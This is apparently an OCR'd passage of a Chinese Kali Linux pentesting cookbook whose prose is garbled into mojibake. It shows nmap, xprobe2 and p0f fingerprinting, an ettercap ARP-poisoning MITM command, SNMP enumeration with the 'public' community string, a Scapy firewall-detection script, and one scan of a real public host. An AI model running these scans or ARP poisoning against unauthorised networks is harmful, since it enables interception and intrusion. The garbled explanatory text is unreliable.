root@KaliLinux:~# nmap 172.16.36.134 -0

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-19 10:59 EST
Nmap scan report for 172.16.36.134

Host is up (0.00044s latency).

Not shown: 991 closed ports

PORT STATE SERVICE

22/tcp open ssh

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

4444/tcp open Kkrbb524

8080/tcp open http-proxy

8081/tcp open blackice-icecap

15003/tcp open unknown

15004/tcp open unknown

MAC Address: 00:0C:29:18:11:FB (VMware) Device type: general pur
pose

Running: Microsoft Windows XP|2003

0S CPE: cpe:/o:microsoft:windows_xp::sp2:professional cpe:/o0:mi
crosoft:windows_server_2003

0S details: Microsoft Windows XP Professional SP2 or Windows Se
rver 2003 Network Distance: 1 hop

0S detection performed. Please report any incorrect results at

http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.67 seconds

E A%&? » Nmap & & A EAT693R4F A LR 7T A6 3R 45 — 7] T AR B 4T B9 3R 4E &
X E > Nmap & A&ZEE & 4L Windows XP 35(4:‘5‘ Server 2003 °

TAERE



Nmap AL RH 2R E— R I B L GEMF R » LG5 R EF R > &
ZXET OS B R W) B4 Ao AT A RPRE R AL o sbsh > RT LB A
SR AY I bR ERA B 0 Nmap &8 T P &g R4t » PMEAARIR 524 RFT 5 o

4.10 xProbe2 #1F & 412 7

xProbe2 /MM TRANTRBFAANE R TR c IMEET T o fTi2 A
xProbe2 & TR M vm 2 5 H7 R AT HAF A LR 5

&

J1 748 A xProbe2 k#AT4RAE A LR F] 5 4R F B A EAT Linux/Unix 421E & 4Ae
4T Windows &1 A L TR AL o %’m B8 1) T 4% MetaspI0|tabIe2 #a
Windows XP o £ R E IR T ERE AR E L A H5EF—F6) 2
Metasploitable2”f7“% X Windows Server’fk 4% o

A B

A T1E R xProbe2 st 2 A4 LT BRIF AL ZWE » TEHENSATERBR)T >
LAt A %8 IP Mk o

root@KalilLinux:~# xprobe2 172.16.36.135
Xprobe2 v.0.3 Copyright (c) 2002-2005 fyodor@o®o.nu, ofir@sys- s
ecurity.com, meder@o0o.nu

[+] Target is 172.16.36.135
[+] Loading modules.
[+] Following modules are loaded:

[x] [1] ping:icmp_ping - ICMP echo discovery module

[x] [2] ping:tcp_ping - TCP-based ping discovery module

[x] [3] ping:udp_ping - UDP-based ping discovery module

[x] [4] infogather:ttl_calc - TCP and UDP based TTL distance

calculation

[x] [5] infogather:portscan - TCP and UDP PortScanner

[x] [6] fingerprint:icmp_echo - ICMP Echo request fingerprinti

ng module

[x] [7] fingerprint:icmp_tstamp - ICMP Timestamp request fing

erprinting module

[x] [8] fingerprint:icmp_amask - ICMP Address mask request fi

ngerprinting module

[x] [9] fingerprint:icmp_port_unreach - ICMP port unreachable
fingerprinting module

[x] [10] fingerprint:tcp_hshake - TCP Handshake fingerprinting
module

[x] [11] fingerprint:tcp_rst - TCP RST fingerprinting module

[x] [12] fingerprint:smb - SMB fingerprinting module

[x] [13] fingerprint:snmp - SNMPv2c fingerprinting module

[+] 13 modules registered



[+]

Initializing scan engine

[+] Running scan engine

[-] ping:tcp_ping module: no closed/open TCP ports known on 172
.16.36.135. Module test failed

[-]1 ping:udp_ping module: no closed/open UDP ports known on 172
.16.36.135. Module test failed

[-] No distance calculation. 172.16.36.135 appears to be dead or
no ports known

[+] Host: 172.16.36.135 is up (Guess probability: 50%)

[+] Target: 172.16.36.135 is alive. Round-Trip Time: 0.00112 sec
[+] Selected safe Round-Trip Time value is: 0.00225 sec

[-] fingerprint:tcp_hshake Module execution aborted (no open TCP

ports known)

[-] fingerprint:smb need either TCP port 139 or 445 to run
[-] fingerprint:snmp: need UDP port 161 open

[+] Primary guess:

[+] Host 172.16.36.135 Running 0S: "Linux Kernel 2.4.22" (Guess
probability: 100%)

[+] Other guesses:

[+] Host 172.16.36.135 Running 0S: "Linux Kernel .23" (Guess
probability: 100%)

[+] Host 172.16.36.135 Running 0S: "Linux Kernel .21" (Guess
probability: 100%)

[+] Host 172.16.36.135 Running 0S: "Linux Kernel .20" (Guess
probability: 100%)

[+] Host 172.16.36.135 Running 0S: "Linux Kernel .19" (Guess
probability: 100%)

[+] Host 172.16.36.135 Running 0S: "Linux Kernel .24" (Guess
probability: 100%)

[+] Host 172.16.36.135 Running 0S: "Linux Kernel .25" (Guess
probability: 100%)

[+] Host 172.16.36.135 Running 0S: "Linux Kernel .26" (Guess
probability: 100%)

[+] Host 172.16.36.135 Running 0S: "Linux Kernel .27" (Guess
probability: 100%)

[+] Host 172.16.36.135 Running 0S: "Linux Kernel .28" (Guess
probability: 100%)

[+] Cleaning

up scan engine
[+] Modules deinitialized
[+] Execution completed.

TAT R A %2 GM o P AF LA RE S Linux A% » A TR A
GAREA 100% ° LA » XA T8 o xProbe2 £ LA TREA G LG E L0
Aot RMELEAFAG EARBIE - FENZL s ENTUREHREFELE » B4
ST PRAF ARG M o BWtlT » INTEERH BARREAAT » AAA
AN BRI TR o

TAERE
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4.11 pOf & 7R 4E A 41 7

pOf ﬂi/l\fﬂ TR ZRBMEARLGELIEL - ZINTERRATEECIE  AAEA
HAHRABRE R AR > ATFRAEMTG BARA ‘Eﬁﬁ BERLE o IMRERTT
ﬁvﬁ@iiﬂ pOf A& TR M vh o2 AT RPAT AR R LR A -

&

71 T 4% A xProbe2 ki AT4E4E A LR F] » 4R F B4 A 1247 Linux/Unix #&4F & 4Ae
Z4T7 Windows &1 A A8 XA AL o %‘m %1'9' FAE A MetaspI0|tabIe2 #e
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A
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root@KaliLinux:~# poOf

pof - passive os fingerprinting utility, version 2.0.8 (C) M. Za
lewski <lcamtuf@dione.cc>, W. Stearns <wstearns@pobox.com>

pof: listening (SYN) on 'ethl', 262 sigs (14 generic, cksum OF1
F5CA2), rule: 'all'.

SRR A —AEE 0 AT TR LA T BAE > pOf F T ZH M T &k £ RAH

BT 69 ARTE AL » R » CRAZHFIEYT o AT AL 12 Dl id /2 3 4% 09 435
F 1247 Nmap 328k AR E » 22X 2B E OS R EANBE o R 2 &
MNEEBE-AFTX > FAEEL KNG ARMT @R » LT U3 947
Bl o

Ettercap A XA B 9RET AR B FTE > RBETHILARP £ 4 H 41 &
MITM 3% & 85580 o ﬁ?ﬁ%A%%z@%ﬁé% HAGRT® s RE B H
B RHAT ARP FAL ©



root@KaliLinux:~# ettercap -M arp:remote /172.16.36.1/ /172.16.

36.135/ -T -w dump

ettercap NG-0.7.4.2 copyright 2001-2005 ALOR & NaGA

Listening on ethl... (Ethernet)

ethl -> 00:0C:29:09:C3:79 172.16.36.180

255.255.255.0

SSL dissection needs a valid 'redir_command_on' script in the e

tter.conf file

Privileges dropped to UID 65534 GID 65534...

28 plugins

41 protocol dissectors

56 ports monitored

7587 mac vendor fingerprint
1766 tcp 0S fingerprint
2183 known services

Scanning for merged targets (2 hosts)...

2 hosts added to the hosts list...
ARP poisoning victims:
GROUP 1 : 172.16.36.1 00:50:56:C0:00:08

GROUP 2 : 172.16.36.135 00:0C:29:3D:84:32
Starting Unified sniffing...

Text only Interface activated...
Hit 'h' for inline help

======>| 100.00 %

RGBT+ o Ettercap £FAATFMAT o -M AL LT H arp:remote %
HIE TR o BEALIAT ARP FHib > FHFHLRERAZELARNAE - T4
Fo A &AL Z B 8 IP 3k R T EFL AL o -T B AEAARELIATEEANT
AF@LE, w BAATHREATEBAZMRGIE - —2RHH T MITM » 4R
o VAJE 38k 09 5% T BOR PAT pOf o Bk AANFILEALEAAGE » AR BA R T

AP = A
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root@KalilLinux:~# pOf

pof - passive os fingerprinting utility, version 2.0.8 (C) M. Za
lewski <lcamtuf@dione.cc>, W. Stearns <wstearns@pobox.com>

pof: listening (SYN) on 'ethl', 262 sigs (14 generic, cksum OF1
F5CA2), rule: 'all'.

172.16.36.1:42497 - UNKNOWN [S10:64:1:60:M1460,S,T,N,W7:.:?2:?] (
up: 700 hrs)

-> 172.16.36.135:22 (link: ethernet/modem)
172.16.36.1:48172 - UNKNOWN [S10:64:1:60:M1460,S,T,N,W7:.:?2:?] (
up: 700 hrs)

-> 172.16.36.135:22 (link: ethernet/modem)
172.16.36.135:55829 - Linux 2.6 (newer, 1) (up: 199 hrs)

-> 172.16.36.1:80 (distance 0, link: ethernet/modem)
172.16.36.1:42499 - UNKNOWN [S10:64:1:60:M1460,S,T,N,W7:.:?2:?] (
up: 700 hrs)

-> 172.16.36.135:22 (link: ethernet/modem)

AC+++ Exiting on signal 2 +++
[+] Average packet ratio: 0.91 per minute.

BT A& 4234 pOf M7 %ﬁ 2472 7E 4 UNKOWN S 4 frdf € RIEA AL Z LA K 0 —
BRATT 9% \PP? Rz N q X H Ettercap X AR @ o

Closing text interface...

ARP poisoner deactivated.
RE-ARPing the victims...
Unified sniffing was stopped.

IAEJR 32

ARP FAb i B AL A okt 69 ARP m s k3 F# A% 0 1 /ITEJ#T IP it 5
MITM %A %89 MAC 33k X8 c MITM A A SR B M FIL AL AE » A KL
HRLBIFETA o X VAE MITM ALMBRIRTAARE - X PMAE T %5
RATA A5 > pOf TLARFREHBRERL > M FRAERMN AL

4.12 Onesixtyone SNMP 7-#7

Onesixtyone &4~ SNMP 4-#7 T & » f£ UDP % 2 L3447 SNMP #1F - € £k F
WE e snmp AR E > 2 TAEATIE T IP Ak > AR F R A LHHE o

%
A TR Onesixtyone RPATRAE A2 5] 0 REZIMA B SNMP J‘T“’TVX%A:IB"J

B AL A o AL P T2 A Windows XP ﬁﬁ',% Windows A 4.8 & %13 Bk %
¥ % — % #9“% % Windows Server’#:4% o
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BAME & T AR T A#RF] B AR % & 09 RAF R 448K o 4 T 4L A Onesixtyone » #,
17T M B AR IP 3bhbdfe AR F4F $4E 4 S dfd

root@KalilLinux:~# onesixtyone 172.16.36.134 public

Scanning 1 hosts, 1 communities

172.16.36.134 [public] Hardware: x86 Family 6 Model 58 Stepping
9 AT/AT COMPATIBLE - Software: Windows 2000 Version 5.1 (Build
2600 Uniprocessor Free)

LEZANBIFF o BIRFH S public AT A1 172.16.36.134 X &6 A %40k -
BAGHRHMERXEEAGTLFRFEL— o BB F X » TR IAEA LT
BFHHAFHEDTET &9 o

IAEJR 32

SNMP ZAANA T E M %1% & > VA B AR & 8] TTARAS B8 P o X ANty A ik d %
ALLMETFEP+oLbR 22 AAFERTESICERKAGARTHS »
CR T SNMP & &Z 8 Z43 8 o HXAG] TP » T oLl it 8 %5 NA& &P ie
F 69 BRAN B AR 47 8 R E M B X &15 & o

4.13 SNMPwalk SNMP %-#7

SNMPwalk &4~ 8 hu § 4449 SNMP 3235 £ » T L8 155 0 SNMP B R 5 4F & Rk
BRAEXEHKER E o SNMPwalk B3R &H — & P F R R E R B ZEHRTRE
% 8912 & o

%
A 742 F SNMPwalk k#ATERE 2475 > 1REZIMA A2 SNMP F =T AR 0] 69

it A2 A4 o BB HI T2 A Windows XP © & & Windows £ %48 £ 315 &k 5%
—F 692 % Windows Server’#ib 4§

BAE T B’

AT AT SNMPwalk * Bz — A7 58 EAS T L » @39 A% IP Xk o
Biig R 6 AR B 0 AR A%PTE R 89 SNMP BR A :



root@KalilLinux:~# snmpwalk 172.16.36.134 -c public -v 2c

1s0.3.6.1.2.1.1.1.0 = STRING: "Hardware: x86 Family 6 Model 58

Stepping 9 AT/AT COMPATIBLE - Software: Windows 2000 Version 5.1
(Build 2600 Uniprocessor Free)"

is0.3.6.1.2.1.1.2.0 = 0OID:

iso0.3.6.1.4.1.311.1.1.3.1.1

1s0.3.6.1.2.1.1.3.0 = Timeticks: (56225) 0:09:22.25
iso0.3.6.1.2.1.1.4.0 = ""

1s0.3.6.1.2.1.1.5.0 = STRING: "DEMO-72E8F41CA4"
iso0.3.6.1.2.1.1.6.0 = ""

is0.3.6.1.2.1.1.7.0 = INTEGER: 76

1is0.3.6.1.2.1.2.1.0 = INTEGER: 2

is0.3.6.1.2.1.2.2.1.1.1 = INTEGER: 1

is0.3.6.1.2.1.2.2.1.1.2 = INTEGER: 2

is0.3.6.1.2.1.2.2.1.2.1 = Hex-STRING: 4D 53 20 54 43 50 20 4C 6F
6F 70 62 61 63 6B 20 69 6E 74 65 72 66 61 63 65 00
is0.3.6.1.2.1.2.2.1.2.2 = Hex-STRING: 41 4D 44 20 50 43 4E 45 54
20 46 61 6D 69 6C 79

A 7 2t B SNMP # Windows XP % %1% i SNMPwalk » & A14# A 2K 89 B 1Rk 3
ﬁ$pwhc7uﬁﬁ$2c0k 4 K F FAE E%??&%ﬁ% £z

& o il E TR 5] 6915 BATLE BT B9 8 10D 446 @ o X ANZKAE T Al g A A E
EHER cut BRI RAR RS o

root@KalilLinux:~# snmpwalk 172.16.36.134 -c public -v 2c | cut -
d I|:|I _f 2

STRING: "Hardware: x86 Family 6 Model 58 Stepping 9 AT/AT COMPAT
IBLE - Software: Windows 2000 Version 5.1 (Build 2600 Uniproces
sor Free)"

OID: is0.3.6.1.4.1.311.1.1.3.1.1

Timeticks: (75376) 0:12:33.76

STRING: "DEMO-72E8F41CA4"

#£:2% > SNMPwalk & %1 ‘1’71’11’1& T %%#ﬂﬂ o ETH P o T AL B —
BB R E 8 s H R AN TR o 2R > AR MESIE > ARTIAKES B
FALMRKERE

Hex-STRING: 00 50 56 FF 2A 8E
Hex-STRING: 00 OC 29 09 C3 79
Hex-STRING: 00 50 56 FO EE ES8
IpAddress: 172.16.36.2
IpAddress: 172.16.36.180
IpAddress: 172.16.36.254



AR B —FRSyF o TUAF %
M AT s BN T AFmiE > T8
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| fEFe P Hohkeg 7] & o AT A E Che ALY
A ARP £ HMARE - CAATHAELE XS TN

STRING: "FreeSSHDService.exe"
STRING: "vmtoolsd.exe"
STRING: "java.exe"

STRING: "postgres.exe"
STRING: "java.exe"

STRING: "java.exe"

STRING: "TPAutoConnSvc.exe"
STRING: "snmp.exe"

STRING: "snmptrap.exe"
STRING: "TPAutoConnect.exe"
STRING: "alg.exe"

STRING: "cmd.exe"

STRING: "postgres.exe"
STRING: "freeSSHd 1.2.0"
STRING: "CesarFTP 0.99g"
STRING: "VMware Tools"
STRING: "Python 2.7.1"
STRING: "WebFldrs XP"
STRING: "VMware Tools"

o o IBATRA AR K B R B ) AT A B R KB o S AME A MOREAT L B
AR ARG I % 0 A RCR AR 69 T AR R R B+ 5 A A o

IAE)R 32

7-4% Onesixtyone > SNMPwalk 74242 & 45 12 1 2k SNMP Bl th5 4F & 8942 7 »
ATAANEARERKERTRE BARARNE L  LTURHEN —F 7]
SNMP GETNEXT # 5K » FH& i LRIBAH AR LG PTA T RIS R TA

4.14 Scapy ¥ K312 5|

BN EAR G 0 RATIE T AR BT 2 AL 5% O R G KR &L IE o
AT A ZAZ A Aol TAE A Mo R AT IR 0 KA1 2% A Scapy 4 4 &4 5] 47K
MEZ o

%

A TA2 M Scapy k#IATE K#FRA] > IREZETMER FHRAZARL - b RE
B9 9L — 9 R ALK o 2T LR IR 5B K R B AT EAUH L+ e
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SYN % K B SYN+ACK & SYN+RST *A & » ACK % K4k 5] RST Ak ©
SYN #= ACK & KAR & A "R L o

2
3
4

SYN
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SYN + ACK/RST
SYN + ACK/RST
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RST KA BabEAN

Femiz  RAZE BibES
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root@KalilLinux:~# scapy Welcome to Scapy (2.2.0)
>>> i = IP()
>>> ji.display()
#a[ IP |###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 127.0.0.1
dst= 127.0.0.1
\options\
>>> j.dst = "172.16.36.135"
>>> i.display()
###[ IP |###
version= 4
ihl= None
tos= 0Ox0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= 1ip
chksum= None
src= 172.16.36.180
dst= 172.16.36.135
\options\

ATHEFRGIPE  ZNFRE 1P ¥EMLTE 1 o @I 1AM display &
o BRMNTAHE FBERE o 8T > KEFEZIIARRA EiE M

b 127.0.0.1 o AT LA LS K B AR A RIS K 0 h AR E i.dst A

BEPRGHI T BE o ML HARPEMA dislay REk > RAI1E B R L F#H 69
Birdoit s LAHEH TRKIANBEOMELGR IP AL c LERNHETHERY IP
B BANTUAMETCP BT o



>>> t = TCP()
>>> t.display()
#it#[ TCP |###
sport= ftp_data
dport= http
seq= 0
ack= 0
dataofs= None
reserved= 0
flags= S
window= 8192
chksum= None
urgptr= 0
options= {}
>>> t.dport = 22
>>> t.flags = 'A'
>>> t.display()
#i##[ TCP |###
sport= ftp_data
dport= ssh
seq= 0
ack= 0
dataofs= None
reserved= 0
flags= A
window= 8192
chksum= None
urgptr= 0
options= {}

A THEFERGTCP E » Bz A= IP EARR 89357 o« £XANZBPF » TCP
ZRAET t TF o BRI ARIGAME > KK EETAEL AR display R
KT o RERMNTAER BAzsg oK UAEA HTTP 32 2 80 o 2t THAT & X
AR KMNE TCP L EREG KN MAERKINCET TCPAIP B » &INEF &K €
MNERFMEHFR



>>> request = (1i/t)
>>> request.display()
#at[ IP |###

version= 4

ihl= None

tos= 0x0

len= None

id= 1

flags=

frag= 0

ttl= 64

proto= tcp

chksum= None

src= 172.16.36.180

dst= 172.16.36.135

\options\
#i#[ TCP |###

sport= ftp_data

dport= ssh
seq= 0
ack= 0

dataofs= None
reserved= 0
flags= A
window= 8192
chksum= None
urgptr= 0
options= {}

BN TUGAE U B R EREXIPATCP B c REEBIERETHGT
T EREENFR c BN BTURAM dispaly kFkkEFFHFRGAERE - — &
METHER TAKEEEL sr1 R RO AL :



>>> response = sril(request,timeout=1)
. .Begin emission:
......... Finished to send 1 packets.

Received 16 packets, got 1 answers, remaining O packets
>>> response.display()
#Hit#[ IP |###
version= 4L
ihl= 5L
tos= 0x0
len= 40
id= 0
flags= DF
frag= oL
ttl= 63
proto= tcp
chksum= 0x9974
src= 172.16.36.135
dst= 172.16.36.180
\options\
#i#[ TCP |###
sport= ssh
dport= ftp_data
seq= 0
ack= 0
dataofs= 5L
reserved= OL
flags= R
window= 0
chksum= 0xe5b
urgptr= 0
options= {}
###[ Padding |###
load= '\x00\x00\x00\x00\x00\x00'

A0 8 R RTARB IR & F— B RPAT o R AR A LR — %4
A iAat B RGBS E A A

>>> response = sr1(IP(dst="172.16.36.135")/TCP(dport=22,flags="
A'), timeout=1)

. .Begin emission:

........ Finished to send 1 packets.

Received 15 packets, got 1 answers, remaining O packets

>>> response

<IP version=4L ihl=5L tos=0x0 len=40 id=0 flags=DF frag=0L ttl=

63 proto=tcp chksum=0x9974 src=172.16.36.135 dst=172.16.36.180

options=[] |<TCP sport=ssh dport=ftp_data seq=0 ack=0 dataofs=

5L reserved=0L flags=R window=0 chksum=0xe5b urgptr=0 |<Padding
load="\x00\x00\x00\Xx00\Xx00\x00"' |>>>



BERBEZINMFCHFF » EAH ACK H 86905 & RST 3 & - MK T—Fst
A E 7 RNiEAN SYN 3 & o

>>> response = srl1(IP(dst="172.16.36.135")/TCP(dport=22,flags="
S'), timeout=1, verbose =1)

Begin emission:

Finished to send 1 packets.

Received 9 packets, got @ answers, remaining 1 packets

AR F X K% SYN KRG » BAWKREUEAToR & o 3 B R 3 7 A8 B o ) 3% 3] R
HWATERE INMANASEARETRECTR - EHETELENR SYNHER
B THAANFNERE B2 Z TR ACK #H e ksARIm e 54 Bt e
P EGIEAE o X AN ZBAFT VAR Python F Xk AR A LR 655 0 .

root@KalilLinux:~# python
Python 2.7.3 (default, Jan 2 2013, 16:53:07)
[GCC 4.7.2] on linux2
Type "help", "copyright", "credits" or "license" for more infor
mation.
>>> from scapy.all import *
>>> ACK_response = sr1(IP(dst="172.16.36.135")/TCP(dport=22,fla
gs='A'),timeout=1, verbose =0)
>>> SYN_response = sr1(IP(dst="172.16.36.135")/TCP(dport=22,fla
gs='S'), timeout=1, verbose =0)
>>> if ((ACK_response == None) or (SYN_response == None)) and no
t ((ACK_response ==None) and (SYN_response == None)):

. print "Stateful filtering in place"

. Stateful filtering in place
>>> exit()

A% A Scapy A RFEAERKZE » MARXT R T &eh 2 o RFIBTZE ACK
A SYN (2R Z43) wRERE Toam o MRS TRANZHFARLT —4
HFETAFEB L F SYN EAMTRZ ACK EAE LI Thm o

SYN A4k 3| T SYN+ACK & # RST+ACK *A & » 128 ACK iE X\ & A UK 3| ok ki 19
oo WA LERESTIE o PRGN RXL—4 o G > & B AR 2 K% ACK 3
@‘o

>>> response = srl1(IP(dst="172.16.36.135")/TCP(dport=22,flags="
A'), timeout=1, verbose =1)

Begin emission:

Finished to send 1 packets.

Received 16 packets, got 0 answers, remaining 1 packets
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root@KalilLinux:~# python
Python 2.7.3 (default, Jan 2 2013, 16:53:07)
[GCC 4.7.2] on linux2
Type "help", "copyright", "credits" or "license" for more infor
mation.
>>> from scapy.all import *
>>> ACK_response = sr1(IP(dst="172.16.36.135")/TCP(dport=22,fla
gs='A'),timeout=1, verbose =0)
>>> SYN_response = sr1(IP(dst="172.16.36.135")/TCP(dport=22,fla
gs='S'), timeout=1, verbose =0)
>>> jif ((ACK_response == None) or (SYN_response == None)) and no
t ((ACK_response ==None) and (SYN_response == None)):

. print "Stateful filtering in place"

. Stateful filtering in place
>>> exit()

oA EY AR 0 RS L IRIATE ACK 3 & k> (TR BI85 6 LT L8y
ACK # AR SR £ A o 128 > NIREHEZ R AL R > o R A LA -

B— /N TR0 F 3k & SYN F2 ACK iEAATE TR MAvA L o ZAIELT » BAE
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>>> response =
sri(IP(dst="172.16.36.135")/TCP(dport=22,flags="'A"), timeout=1,ve
rbose=1)
Begin emission:
Finished to send 1 packets.
Received 5 packets, got 1 answers, remaining 0 packets
>>> response.display()
#Hit#[ IP |###

version= 4L

ihl= 5L

tos= 0Ox0

len= 40

id= 0

flags= DF

frag= oL

ttl= 64

proto= tcp

chksum= 0x9974

src= 172.16.36.135

dst= 172.16.36.180

\options\
#i#[ TCP [###

sport= ssh

dport= ftp_data

seq= 0

ack= 0

dataofs= 5L

reserved= OL

flags= R

window= 0

chksum= 0xe5b

urgptr= 0

options= {}
###[ Padding ]###

load= '\x00\x00\x00\x00\x00\x00'

EHORMLRGFELT » RBFAY ACKHERELT BfFmo > Hui/ 4
B e by RST 316 o XA RST #0491 » ACK 3 R A& LT L » 3 BT A Wi+
B o RET ACK EAZE » AT A& A48 Bl % 0 X% SYN iEA o



>>> response =
sri(IP(dst="172.16.36.135")/TCP(dport=22,flags="'S'), timeout=1,ve
rbose =1)
Begin emission:
Finished to send 1 packets.
Received 4 packets, got 1 answers, remaining 0 packets
>>> response.display()
#it#[ IP |###

version= 4L

ihl= 5L

tos= 0Ox0

len= 44

id= 0

flags= DF

frag= oL

ttl= 64

proto= tcp

chksum= 0x9970

src= 172.16.36.135

dst= 172.16.36.180

\options\
#i#[ TCP |###

sport= ssh

dport= ftp_data

seq= 1147718450

ack= 1
dataofs= 6L
reserved= OL
flags= SA

window= 5840

chksum= 0xd024

urgptr= 0

options= [('MSS', 1460)]
###[ Padding ]###

load= '\x00\x00'
>>> response[TCP].flags
18L
>>> jnt(response[TCP].flags)
18

fesn o R BT A GHERLF > 28 E SYN+ACK A o #i2 & TCP flags &K
B ZIREEA long BE 2 AA 18 ¢ XAMETXAZ HAE A int HFkiEk
Aoint B o XA 18 94A~& TCP Az 1R4e 5 7| 69 T 444 o SYN Az & 69+ 2 #] 44
A 20 d ACK AR89t 444 16 o MR X LRARALIE » &A1 248 E 545
TCP flags M9 % 4454k » /& Python ¥ MKk 0 25 RTIEHATH ©



root@KaliLinux:~# python Python 2.7.3 (default, Jan 2 2013, 16:
53:07)
[GCC 4.7.2] on linux2
Type "help", "copyright", "credits" or "license" for more infor
mation.
>>> from scapy.all import *
>>> ACK_response = srl1(IP(dst="172.16.36.135")/TCP(dport=22,fla
gs='A'),timeout=1, verbose =0)
>>> SYN_response = sr1(IP(dst="172.16.36.135")/TCP(dport=22,fla
gs='S'), timeout=1, verbose =0)
>>> jif ((ACK_response == None) or (SYN_response == None)) and no
t ((ACK_response ==None) and (SYN_response == None)):

. print "Stateful filtering in place"

. elif int(SYN_response[TCP].flags) == 18:

- print "Port is unfiltered and open"

. elif int(SYN_response[TCP].flags) == 20:

print "Port is unfiltered and closed"
Port is unfiltered and open

>>> exit()

AAVT ADATAR LG MR R VBT R G 50 0 AL IRIF K H o AILIREG K Ao @ 2078
RST #» ACK 488 * X A A AF » ACK #7974 # 4L 16 * RST AxiR A ¥4k 4 © AT
VA s RiEIREY X HSH 28 TCP flags 1AM ¥ ¥ w4~ 20 :

root@KaliLinux:~# python Python 2.7.3 (default, Jan 2 2013, 16:
53:07)
[GCC 4.7.2] on linux2
Type "help", "copyright", "credits" or "license" for more infor
mation.
>>> from scapy.all import *
>>> ACK_response = sr1(IP(dst="172.16.36.135")/TCP(dport=4444,f
lags='A"'), timeout=1, verbo se=0)
>>> SYN_response sr1(IP(dst="172.16.36.135")/TCP(dport=4444,f
lags='S"'), timeout=1, verbo se=0)
>>> if ((ACK_response == None) or (SYN_response == None)) and no
t ((ACK_response ==None) and (SYN_response == None)):

. print "Stateful filtering in place"

. elif int(SYN_response[TCP].flags) == 18:

. print "Port is unfiltered and open"

. elif int(SYN_response[TCP].flags) == 20:

print "Port is unfiltered and closed"
Port is unfiltered and closed

>>> exit()

% BNV BABRE IR b SYN S ACK i A RA K E % - i
FHFT o A sri 0 5L AR B AR BT o



>>> response = sr1(IP(dst="172.16.36.135")/TCP(dport=22,flags="
A'), timeout=1,verbose =1)

Begin emission:

Finished to send 1 packets.

Received 36 packets, got 0 answers, remaining 1 packets

>>> response = sr1(IP(dst="172.16.36.135")/TCP(dport=22,flags="
S'), timeout=1, verbose =1)

Begin emission:

Finished to send 1 packets.

Received 18 packets, got 0 answers, remaining 1 packets

&4&Aﬁbﬂﬁ/ﬁﬂ’i% 95 RS RAEZFATA AR R
T RARKRERMNL c KA XEWREALHART o KAV FH—HIETAA > T
R A Z AT MR F D) B R B8 else MmIATA » & Pyﬂnon #’@ﬂk Yoo g
Lo e REMMEANARAHEZE A 0 else FOBRIELIAT - HEX

W0 else FHYIRANE &/ RA BB oA 2 69 B4R AT o

root@KaliLinux:~# python Python 2.7.3 (default, Jan 2 2013, 16:
53:07)
[GCC 4.7.2] on linux2
Type "help", "copyright", "credits" or "license" for more infor
mation.
>>> from scapy.all import *
>>> ACK_response = sr1(IP(dst="172.16.36.135")/TCP(dport=4444,f
lags='A'), timeout=1,verbo se=0)
>>> SYN_response = srl1(IP(dst="172.16.36.135")/TCP(dport=4444,f
lags='S"'), timeout=1, verbo se=0)
>>> if ((ACK_response == None) or (SYN_response == None)) and no
t ((ACK_response ==None) and (SYN_response == None)):

. print "Stateful filtering in place"

. elif int(SYN_response[TCP].flags) == 18:

. print "Port is unfiltered and open"

. elif int(SYN_response[TCP].flags) == 20:

print "Port is unfiltered and closed"

. else:
. print "Port is either unstatefully filtered or host is d
own"
Traceback (most recent call last):

File "<stdin>", 1line 3, in <module>

TypeError: 'NoneType' object has no attribute '___getitem_ '

K EREE W ETAAR 2R EFF LRI o 1454 Z 0 T T8 0HE >
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>>> if (ACK_response == None) and (SYN_response == None):

ca print "Port is either unstatefully filtered or host is d

own"
. Port is either unstatefully filtered or host is down

TR MR F T Z G T AR R EAND G ARATF o AW AREZTAANLL
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#!/usr/bin/python

import sys import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

from scapy.all import *

if len(sys.argv) != 3:
print "Usage - ./ACK_FW_detect.py [Target-IP] [Target Port]"

print "Example - ./ACK_FW_detect.py 10.0.0.5 443"

print "Example will determine if filtering exists on port 44
3 of host 10.0.0.5"

sys.exit()

ip = sys.argv[1l]
port = int(sys.argv[Z?])

ACK_response = sr1(IP(dst=ip)/TCP(dport=port,flags='A"), timeout=
,verbose=0)
SYN_response = sr1(IP(dst=ip)/TCP(dport=port,flags='S'), timeout=
,verbose=0)
if (ACK_response == None) and (SYN_response == None):
print "Port is either unstatefully filtered or host is down"

elif ((ACK_response == None) or (SYN_response == None)) and not
((ACK_response ==None) and (SYN_response == None)):
print "Stateful filtering in place"
elif int(SYN_response[TCP].flags) ==
print "Port is unfiltered and open"
elif int(SYN_response[TCP].flags) == :
print "Port is unfiltered and closed"
else:
print "Unable to determine if the port is filtered"

{ S—




L AT R AR ARG » F &R UM FT RAFE AWAT o chmod 7T 1A
AT & AR LT > By AZG T Al B8R 45 AT A SOk AT

root@KaliLinux:~# chmod 777 ACK_FW_detect.py

root@KaliLinux:~# ./ACK_FW_detect.py

Usage - ./ACK_FW_detect.py [Target-IP] [Target Port]

Example - ./ACK_FW_detect.py 10.0.0.5 443

Example will determine if filtering exists on port 443 of host
10.0.0.5

root@KaliLinux:~# ./ACK_FW_detect.py 172.16.36.135 80 Port is un
filtered and open

root@KaliLinux:~# ./ACK_FW_detect.py 172.16.36.134 22 Host is ei
ther unstatefully filtered or is down
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root@KaliLinux:~# nmap -sA 172.16.36.135 -p 22

Starting Nmap 6.25 ( http://nmap.org ) at 2014-01-24 11:21 EST
Nmap scan report for 172.16.36.135

Host is up (0.00032s latency).

PORT STATE SERVICE

22/tcp unfiltered ssh

MAC Address: 00:0C:29:3D:84:32 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.05 seconds
root@KaliLinux:~# nmap -sA 83.166.169.228 -p 22

Starting Nmap 6.25 ( http://nmap.org ) at 2014-01-24 11:25 EST
Nmap scan report for packtpub.com (83.166.169.228)

Host is up (0.14s latency).

PORT STATE SERVICE

22/tcp filtered ssh

Nmap done: 1 IP address (1 host up) scanned in 2.23 seconds

Wit 2 A MM % #) Metasploitable2 A4 EiTia s » REH L E B K3 > A
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root@KalilLinux:~# nmap -sSA 172.16.36.135

Starting Nmap 6.25 ( http://nmap.org ) at 2014-01-24 11:21 EST
Nmap scan report for 172.16.36.135

Host is up (0.00041s latency). All 1000 scanned ports on 172.16.
36.135 are unfiltered

